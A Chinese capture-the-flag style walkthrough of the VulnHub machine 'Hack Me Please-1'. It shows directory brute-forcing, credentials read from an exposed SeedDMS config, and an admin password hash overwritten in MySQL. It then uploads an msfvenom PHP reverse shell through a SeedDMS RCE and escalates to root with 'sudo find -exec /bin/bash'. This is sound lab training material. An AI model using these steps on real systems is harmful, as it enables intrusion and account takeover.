『vulnhub系列』Hack Me Please-1
『vulnhub系列』Hack Me Please-1
下载地址:
https://www.vulnhub.com/entry/hack-me-please-1,731/
信息搜集:
使用nmap进行探测存活主机,发现主机开启了80端口和3306端口
nmap 192.168.0.*

访问80端口的web服务

使用dirsearch扫描目录,但是并没有可以访问的页面
dirsearch -u "http://192.168.0.132/"

在main.js发现提示,有一个目录/seeddms51x/seeddms-5.1.22/

访问一下是一个登录页面

现在我们扫描这个目录
dirsearch -u "http://192.168.0.132/seeddms51x/seeddms-5.1.22/"

访问/install页面

发现install不了
http://192.168.0.132/seeddms51x/seeddms-5.1.22/install/install.php

说是要在conf目录下创建ENABLE_INSTALL_TOOL ,但是我们好像并不知道这个conf目录在哪里
可以确定当前seeddms51x/seeddms-5.1.22/ 目录下没有。现在我们向前每一级文件都爆破一下。
dirsearch -u "http://192.168.0.132/seeddms51x/"
我们现在几乎可以确定conf就在/seeddms51x/这个目录文件下了

然后我们继续访问conf/ENABLE_INSTALL_TOOL和conf,发现都无法访问

继续爆破一下吧,终于发现了settings.xml
dirsearch -u "http://192.168.0.132/seeddms51x/conf"

访问一下,我们找到了数据库的用户名和密码都为:seeddms

我们登录mysql
mysql -h 192.168.0.132 -u seeddms -p

show database; #查看数据库

发现users表
use seeddms; #使用seeddms数据库
show tables; #查看表

查看users表的内容发现用户名和密码
+-------------+---------------------+--------------------+-----------------+ | Employee_id | Employee_first_name | Employee_last_name | Employee_passwd | +-------------+---------------------+--------------------+-----------------+ | 1 | saket | saurav | Saket@#$1337 | +-------------+---------------------+--------------------+-----------------+
select * from users; #查看users所有内容

使用ID和密码登录

登录失败,还有个表是tblUsers,我们查看一下,里面有一个admin和一个md5加密的密码
select * from tblUsers;

我们可以覆盖一下,首先使用python生成一个md5值21232f297a57a5a743894a0e4a801fc3
python3 -c 'import hashlib;print(hashlib.md5("admin".encode()).hexdigest())'

修改数据库条目,修改成功
update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where login='admin';

使用我们修改后的密码admin和用户名admin登录,登陆成功

漏洞利用:
我们发现添加文件选项是可以上传文件的,我们上传一个msfvenom生成的反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.129 lport=4444 -o re_shell.php

我们此时搜一下seeddms的漏洞

看到一个远程命令执行,看一下如何实现
Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.
......
Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
步骤1,2:就是登录,然后上传一个文档,我们已经上传完成了例子用的是一个webshell,我们上传的是反弹shell,我们需要找到上传文件的位置
步骤3:查看文档的id,我们通过刚刚上传的反弹php序号为12

步骤4:访问/data/1048576/"document_id"/1.php 页面,在那之前先开启msf的监听,然后访问1.php

反弹成功

提升权限:
我们查看/home页面发现存在用户saket
我们之前有在数据库中发现过saket,他的密码是Saket@#$1337 我们登陆试试,登录成功
su saket

使用sudo -l 查看此用户可以以root权限执行的命令,发现是(ALL : ALL) ALL

那就自由发挥吧,这里使用find提权,成功
sudo find /home -exec /bin/bash \;

『vulnhub系列』Hack Me Please-1的更多相关文章
- 『GreenPlum系列』GreenPlum 4节点集群安装(图文教程)
目标架构如上图 一.硬件评估 cpu主频,核数推荐CPU核数与磁盘数的比例在12:12以上Instance上执行时只能利用一个CPU核资源进行计算,推荐高主频 内存容量 网络带宽重分布操作 R ...
- Istio 运维实战系列(2):让人头大的『无头服务』-上
本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 什么是『无头服 ...
- Istio 运维实战系列(3):让人头大的『无头服务』-下
本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 失败的 Eur ...
- 『高性能模型』HetConv: HeterogeneousKernel-BasedConvolutionsforDeepCNNs
论文地址:HetConv 一.现有网络加速技术 1.卷积加速技术 作者对已有的新型卷积划分如下:标准卷积.Depthwise 卷积.Pointwise 卷积.群卷积(相关介绍见『高性能模型』深度可分离 ...
- 『TensorFlow Internals』笔记_源码结构
零.资料集合 知乎专栏:Bob学步 知乎提问:如何高效的学习 TensorFlow 代码?. 大佬刘光聪(Github,简书) 开源书:TensorFlow Internals,强烈推荐(本博客参考书 ...
- 『深度应用』NLP机器翻译深度学习实战课程·壹(RNN base)
深度学习用的有一年多了,最近开始NLP自然处理方面的研发.刚好趁着这个机会写一系列NLP机器翻译深度学习实战课程. 本系列课程将从原理讲解与数据处理深入到如何动手实践与应用部署,将包括以下内容:(更新 ...
- 关于『进击的Markdown』:第一弹
关于『进击的Markdown』:第一弹 建议缩放90%食用 比起隐蔽物下的狙击手,Markdown更像冲锋陷阵的阵头兵 简单.粗暴.直接.而且好上手 各位晚上好! 早饭吃了吗您 我 今 天 没 吃 M ...
- 关于『进击的Markdown』:第五弹
关于『进击的Markdown』:第五弹 建议缩放90%食用 路漫漫其修远兮,吾将上下而求索. 我们要接受Mermaid的考验了呢 Markdown 语法真香(一如既往地安利) ( 进击吧!Mark ...
- 关于『进击的Markdown』:第四弹
关于『进击的Markdown』:第四弹 建议缩放90%食用 美人鱼(Mermaid)悄悄的来,又悄悄的走,挥一挥匕首,不留一个活口 又是漫漫画图路... 女士们先生们,大家好! 我们要接受Markd ...
- 关于『进击的Markdown』:第三弹
关于『进击的Markdown』:第三弹 建议缩放90%食用 我与神明画押,赌这弹markdown又双叒叕拖稿了 %%%Markdown!我的CSDN编辑器崩了呜呜呜 各路英雄豪杰,大家好! 我们要开 ...
随机推荐
- ITIL一定要去认证吗?哪个版本合适
关于ITIL的演进 ITIL是在演进发展中的,v1并不成功,v2 v3讲究流程与控制,其实都是偏向务虚,理论东西较多,能落地的少或许OGC的专家们自己也发现 光靠口头忽悠并不能说服最终用户接受ITIL ...
- go-admin 视频教程
https://cloud.189.cn/t/6JJ3uqreqyai (访问码:2xn5) 感谢 熊猫 同学 整理 失效了可以去B站看 https://www.bilibili.com/video/ ...
- leaflet 基本案例-图层控件:基础图层+业务图层
可执行示例一个,如下: <!DOCTYPE html> <html> <head> <title>Layers Control Tutorial - L ...
- WPF 稳定的全屏化窗口方法
本文来告诉大家在 WPF 中,设置窗口全屏化的一个稳定的设置方法.在设置窗口全屏的时候,经常遇到的问题就是应用程序虽然设置最大化加无边框,但是此方式经常会有任务栏冒出来,或者说窗口没有贴屏幕的边.本文 ...
- centos7了解
A,B,C,D四个任务有依赖关系①init:总时间T1+T2+T3+T4+T5+T6+T7②upstart:总时间T1+T2+T3,启动速度加快,但是有依赖关系的服务还是必须先后启动.③systemd ...
- 本地项目文件上传到git
初始化项目: git init 与服务器项目关联:git remote add origin "http://**************************/r/ruoyi.git&q ...
- requests + tkinter 获取网页数据
代码: from tkinter import * import requests window = Tk() window.geometry('500x350+500+100') window.ti ...
- vue-cli3 项目路由 history 模式部署到 nginx 服务器
1.项目修改vue.config.js增加 publicPath: '/' 2.nginx配置 location / {#访问前端页面 root /data/dist;#vue项目存放路径 index ...
- 在Rainbond中一键部署高可用 EMQX 集群
本文描述如何通过云原生应用管理平台 Rainbond 一键安装高可用 EMQX 集群.这种方式适合不太了解 Kubernetes.容器化等复杂技术的用户使用,降低了在 Kubernetes 中部署 E ...
- C++笔记(13)数组的引用和引用的数组
数组的引用 数组有二个特性,影响作用在数组上的函数:一是不能复制数组,二是使用数组名时, 数组名会自动指向其第一个元素的指针. 因为不能复制,所以无法编写使用数组类型的形参,数组会自动转化为指针.比如 ...